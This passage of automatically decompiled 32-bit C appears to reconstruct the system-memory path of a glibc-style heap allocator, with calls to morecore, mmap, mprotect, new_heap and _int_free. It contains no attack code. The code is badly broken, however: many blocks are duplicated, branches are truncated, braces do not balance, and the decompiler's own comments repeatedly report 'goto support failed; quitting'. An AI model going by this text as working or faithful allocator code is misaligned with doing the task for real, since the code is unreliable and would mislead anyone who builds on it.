v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v153 = (int32_t *)v144; v162 = __default_morecore(v153); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } else { v215 = v216; } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)v153; *(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); v215 = (int32_t *)0x80b4bea; // branch -> 0x80b49cb } else { v215 = v216; } } else { v215 = v216; } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 result2 = 0; // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; v217 = v58 != 0x8139c40 ? 4 : 0; *(int32_t *)(result2 + 4) = v65 | v217 | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; result2 += 8; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // 0x80b42dd v78 = v43 % 256 ^ 255; g95 = v78; v76 = (int32_t *)v35; memset(v76, v78, v4); v77 = v76; // branch -> 0x80b4266 } else { v77 = v215; } // 0x80b4266 g98 = (int32_t)v77; return result2; } // 0x80b4b43 v189 = v156 % 8; if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; v158 = (int32_t *)7; // branch -> 0x80b4b53 } else { // 0x80b4f23 v167 = 8 - v189; v201 = v167; v158 = (int32_t *)(v167 + v156); // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v153 = (int32_t *)v144; v162 = __default_morecore(v153); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); v157 = v158; // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v157; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)v153; *(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; v217 = v58 != 0x8139c40 ? 4 : 0; *(int32_t *)(result2 + 4) = v65 | v217 | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b4ca4 if (v166 == NULL) { // 0x80b4ec5 v165 = __default_morecore(&v11->e0); v157 = v194; // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v157; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } } else { // 0x80b4caf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v194; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v166 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { // 0x80b4918 v178 = v137 & -0x100000; v149 = (int32_t *)(v178 | 8); v195 = *v149; g102 = v65 - v182 + 16; v159 = getpagesize(); v183 = v159 - 1; v169 = g102; if (v169 < 0) { // 0x80b4dd8 v191 = v169 + v195; if (v191 >= 16) { // 0x80b4de7 g101 = v191; v192 = -v169; g102 = v192; v164 = mmap((int32_t *)(v191 + v178), v192, v10, 50, -1, v10); if ((int32_t)v164 != -1) { // 0x80b4e09 *v149 = g101; *v18 = *v18 + g101 - v195; v181 = v178; v204 = *(int32_t *)(v181 + 8); g67 += v204 - v195; v176 = g98; *(int32_t *)(v176 + 4) = v204 + v181 - v176 | 1; // branch -> 0x80b49cb // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } } } else { // 0x80b4940 v179 = v169 + v183 & -v159; v184 = v179 + v195; g101 = v184; if (v184 < 0x100001) { // 0x80b4e38 if (mprotect((int32_t *)(v195 + v178), v179, 3) == 0) { // 0x80b4e09 *v149 = g101; *v18 = *v18 + g101 - v195; v181 = v178; v204 = *(int32_t *)(v181 + 8); g67 += v204 - v195; v176 = g98; *(int32_t *)(v176 + 4) = v204 + v181 - v176 | 1; // branch -> 0x80b49cb // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } } } // 0x80b4959 g95 = v65 + 32; g97 = g71; v160 = new_heap(v1, v32); v150 = (struct struct_135 *)v160; v27 = v160; if (v160 != 0) { // 0x80b4970 v26 = v58; v150->e0 = a1; v150->e1 = v178; v151 = (int32_t *)(v26 + 1100); *v151 = *v151 + v150->e2; v196 = v150->e2; g67 += v196; v185 = v27 + 16; g98 = v185; *(int32_t *)(v26 + 48) = v185; v150->e4 = v196 - 16 | 1; v206 = v182 - 16; v25 = v206; v140 = v206 + v137; v26 = v140; *(int32_t *)(v140 + 12) = 1; if (v25 > 15) { // 0x80b4dac *(int32_t *)(v26 + 4) = 9; *(int32_t *)(v26 + 8) = 8; g97 = v137; *v147 = v25 | 5; _int_free(a1, (int32_t *)(g97 + 8)); // branch -> 0x80b49cb } else { // 0x80b49b7 v207 = v182 - 8; *v147 = v207 | 1; *(int32_t *)(v26 + 8) = v207; // branch -> 0x80b49cb } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { uint32_t v218 = v212 % 8; // 0x80b4d50 if (v211 == (int32_t *)7) { // 0x80b4ef2 *(int32_t *)(v212 + 4) = g101 | 2; // branch -> 0x80b4d70 } else { int32_t v219 = 8 - v218; // 0x80b4d5e int32_t v220 = v219 + v212; // 0x80b4d60 *(int32_t *)v220 = v219; *(int32_t *)(v220 + 4) = g101 - v219 | 2; // branch -> 0x80b4d70 } int32_t v221 = g73 + 1; // 0x80b4d75 g73 = v221; if (v221 > g75) { // 0x80b4d83 g75 = v221; // branch -> 0x80b4d88 } int32_t v222 = g77 + g101; // 0x80b4d8a g77 = v222; if (v222 > g78) { // 0x80b4d9d g78 = v222; // branch -> 0x80b4da2 } // 0x80b4da2 // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { v137 = v132; } } else { v137 = v132; } } // 0x80b48fa v147 = (int32_t *)(v137 + 4); v182 = *v147 & -8; v139 = v182 + v137; v148 = (int32_t *)v139; if (a1 == (char *)0x8139c40) { // 0x80b4a9e v138 = v8 + g71; v172 = g81; v198 = v138; if (v172 == 2) { // 0x80b4ab5 v198 = v138 - v182; // branch -> 0x80b4ab8 } // 0x80b4ab8 g96 = v135; v145 = v198 + v136; v180 = v145 & v135; g102 = v180; v175 = v180; if (v145 > v135) { // 0x80b4acd v161 = __default_morecore((int32_t *)v180); if (v161 == NULL) { // 0x80b4cbb v175 = g102; v172 = g81; // branch -> 0x80b4cc1 // 0x80b4cc1 v203 = v175; if ((v172 & 2) == 0) { // 0x80b4cc6 v209 = v175 + v182 + v136 & v135; g102 = v209; v203 = v209; // branch -> 0x80b4cd3 } // 0x80b4cd3 v170 = v203; v205 = (int32_t *)v203; if (v203 < 0x100000) { // 0x80b4cde g102 = 0x100000; v170 = 0x100000; v205 = (int32_t *)0x100000; // branch -> 0x80b4cea } // 0x80b4cea if (v64 < v205) { // 0x80b4cf6 v163 = mmap(&v11->e0, v170, 3, 34, -1, v10); if (v163 != (int32_t *)-1) { // 0x80b4d14 v193 = g102; v155 = (int32_t *)(v193 + (int32_t)v163); g81 |= 2; if (v163 != NULL) { v177 = v193; v166 = v155; v194 = v163; // 0x80b4af4 v156 = (int32_t)v194; if (g79 == 0) { // 0x80b4f0a g79 = v156; // branch -> 0x80b4b01 } // 0x80b4b01 v200 = (int32_t)v205; v141 = g84 + v200; g84 = v141; if (v148 == v194) { // 0x80b4e8e if (v166 == NULL) { // 0x80b4e99 *(int32_t *)(g98 + 4) = v200 + v182 | 1; // branch -> 0x80b49cb // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; // branch -> 0x80b4a26 } // 0x80b4a26 v171 = g69; g95 = v171; if (v171 != 0) { // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b4b19 if ((char)g81 == 2) { // 0x80b4b26 if (v182 != 0) { // 0x80b4b2d if (v148 <= v194) { // 0x80b4b36 g84 = v141 + v156 - v139; // branch -> 0x80b4b43 // 0x80b4b43 v189 = v156 % 8; if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; v158 = (int32_t *)7; // branch -> 0x80b4b53 } else { // 0x80b4f23 v167 = 8 - v189; v201 = v167; v158 = (int32_t *)(v167 + v156); // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v153 = (int32_t *)v144; v162 = __default_morecore(v153); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); v157 = v158; // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v157; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)v153; *(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } // 0x80b49cb v186 = *v18; v152 = (int32_t *)(v58 + 1104); if (v186 > *v152) { // 0x80b49dc *v152 = v186; // branch -> 0x80b49e2 } // 0x80b49e2 v197 = *v20; result2 = v197; v187 = *(int32_t *)(v197 + 4) & -8; if (v8 > v187) { // 0x80b4a62 // branch -> 0x80b4a26 } else { // 0x80b49f3 v188 = v197 + v65; *v20 = v188; *(int32_t *)(result2 + 4) = v65 | (v58 != 0x8139c40 ? 4 : 0) | 1; *(int32_t *)(v188 + 4) = v187 - v65 | 1; // branch -> 0x80b4a26 } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4b43 v189 = v156 % 8; if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; v158 = (int32_t *)7; // branch -> 0x80b4b53 } else { // 0x80b4f23 v167 = 8 - v189; v201 = v167; v158 = (int32_t *)(v167 + v156); // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v153 = (int32_t *)v144; v162 = __default_morecore(v153); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); v157 = v158; // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v157; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // 0x80b4b8b v202 = (int32_t)v158; g82 = v202; v154 = (int32_t)v153; *(int32_t *)(v202 + 4) = (int32_t)v162 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b4ca4 if (v166 == NULL) { // 0x80b4ec5 v165 = __default_morecore(&v11->e0); v157 = v194; // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v157; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } } else { // 0x80b4caf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v194; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v166 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { // 0x80b4adf v173 = g65; g95 = v173; g1 = false; g103 = v173 == 0; if (v173 != 0) { // 0x80b4ae8 ((int32_t (*)())v173)(); // branch -> 0x80b4aea } // 0x80b4aea v199 = g102; v177 = v199; v166 = NULL; v194 = v161; // branch -> 0x80b4af4 // 0x80b4af4 v156 = (int32_t)v194; if (g79 == 0) { // 0x80b4f0a g79 = v156; // branch -> 0x80b4b01 } // 0x80b4b01 v200 = (int32_t)(int32_t *)v199; v141 = g84 + v200; g84 = v141; if (v148 == v194) { // 0x80b4e8e if (v166 == NULL) { // 0x80b4e99 *(int32_t *)(g98 + 4) = v200 + v182 | 1; // branch -> 0x80b49cb // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b4b19 if ((char)g81 == 2) { // 0x80b4b26 if (v182 != 0) { // 0x80b4b2d if (v148 <= v194) { // 0x80b4b36 g84 = v141 + v156 - v139; // branch -> 0x80b4b43 // 0x80b4b43 v189 = v156 % 8; if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; v158 = (int32_t *)7; // branch -> 0x80b4b53 } else { // 0x80b4f23 v167 = 8 - v189; v201 = v167; v158 = (int32_t *)(v167 + v156); // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v162 = __default_morecore((int32_t *)v144); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); v157 = v158; // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // 0x80b4b8b v202 = (int32_t)v157; g82 = v202; v154 = (int32_t)NULL; *(int32_t *)(v202 + 4) = (int32_t)v165 - v202 + v154 | 1; g84 += v154; g101 = v182; if (v182 != 0) { // 0x80b4bb5 v208 = v182 - 16; v25 = v208; v190 = v208 | 1; g97 = v190; *(int32_t *)(g98 + 4) = v190; *(int32_t *)(g98 + 4 + v25) = 9; *(int32_t *)(g98 + 12 + v25) = 9; if (v25 >= 16) { // 0x80b4bdc _int_free((char *)0x8139c40, (int32_t *)(g98 + 8)); // branch -> 0x80b49cb } } } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4b43 v189 = v156 % 8; if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; // branch -> 0x80b4b53 } else { // 0x80b4f23 v201 = 8 - v189; // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v162 = __default_morecore((int32_t *)v144); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // Detected a possible infinite recursion (goto support failed); quitting... } } else { // 0x80b4b7e v174 = g65; g95 = v174; g1 = false; g103 = v174 == 0; if (v174 != 0) { // 0x80b4b87 ((int32_t (*)())v174)(); // branch -> 0x80b4b8b } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80b4ca4 if (v166 == NULL) { // 0x80b4ec5 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // Detected a possible infinite recursion (goto support failed); quitting... } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80b4cc1 v203 = v175; if ((v172 & 2) == 0) { // 0x80b4cc6 v209 = v175 + v182 + v136 & v135; g102 = v209; v203 = v209; // branch -> 0x80b4cd3 } // 0x80b4cd3 v170 = v203; v205 = (int32_t *)v203; if (v203 < 0x100000) { // 0x80b4cde g102 = 0x100000; v170 = 0x100000; v205 = (int32_t *)0x100000; // branch -> 0x80b4cea } // 0x80b4cea if (v64 < v205) { // 0x80b4cf6 v163 = mmap(&v11->e0, v170, 3, 34, -1, v10); if (v163 != (int32_t *)-1) { // 0x80b4d14 v193 = g102; v155 = (int32_t *)(v193 + (int32_t)v163); g81 |= 2; if (v163 != NULL) { v177 = v193; v166 = v155; v194 = v163; // 0x80b4af4 v156 = (int32_t)v194; if (g79 == 0) { // 0x80b4f0a g79 = v156; // branch -> 0x80b4b01 } // 0x80b4b01 v200 = (int32_t)v205; v141 = g84 + v200; g84 = v141; if (v148 == v194) { // 0x80b4e8e if (v166 == NULL) { // 0x80b4e99 *(int32_t *)(g98 + 4) = v200 + v182 | 1; // branch -> 0x80b49cb // Detected a possible infinite recursion (goto support failed); quitting... } } // 0x80b4b19 if ((char)g81 == 2) { // 0x80b4b26 if (v182 != 0) { // 0x80b4b2d if (v148 <= v194) { // 0x80b4b36 g84 = v141 + v156 - v139; // branch -> 0x80b4b43 // 0x80b4b43 v189 = v156 % 8; if (v194 == (int32_t *)7) { // 0x80b4b4e v201 = 0; // branch -> 0x80b4b53 } else { // 0x80b4f23 v201 = 8 - v189; // branch -> 0x80b4b53 } // 0x80b4b53 v146 = v201 + v182; v142 = v156 + v177 + v146; v143 = v142 + v136; g96 = v143; v168 = (v143 & v135) - v142; g101 = v168; v144 = v168 + v146; v162 = __default_morecore((int32_t *)v144); g97 = v144; if (v162 == NULL) { // 0x80b4f15 v165 = __default_morecore(&v11->e0); // branch -> 0x80b4ed4 // 0x80b4ed4 g102 = (int32_t)v165; if (v165 != NULL) { // 0x80b4edf // branch -> 0x80b4b8b // Detected a possible infinite recursion (goto support failed); quitting... } } else { // 0x80b4b7e v174 = g65; g95 = 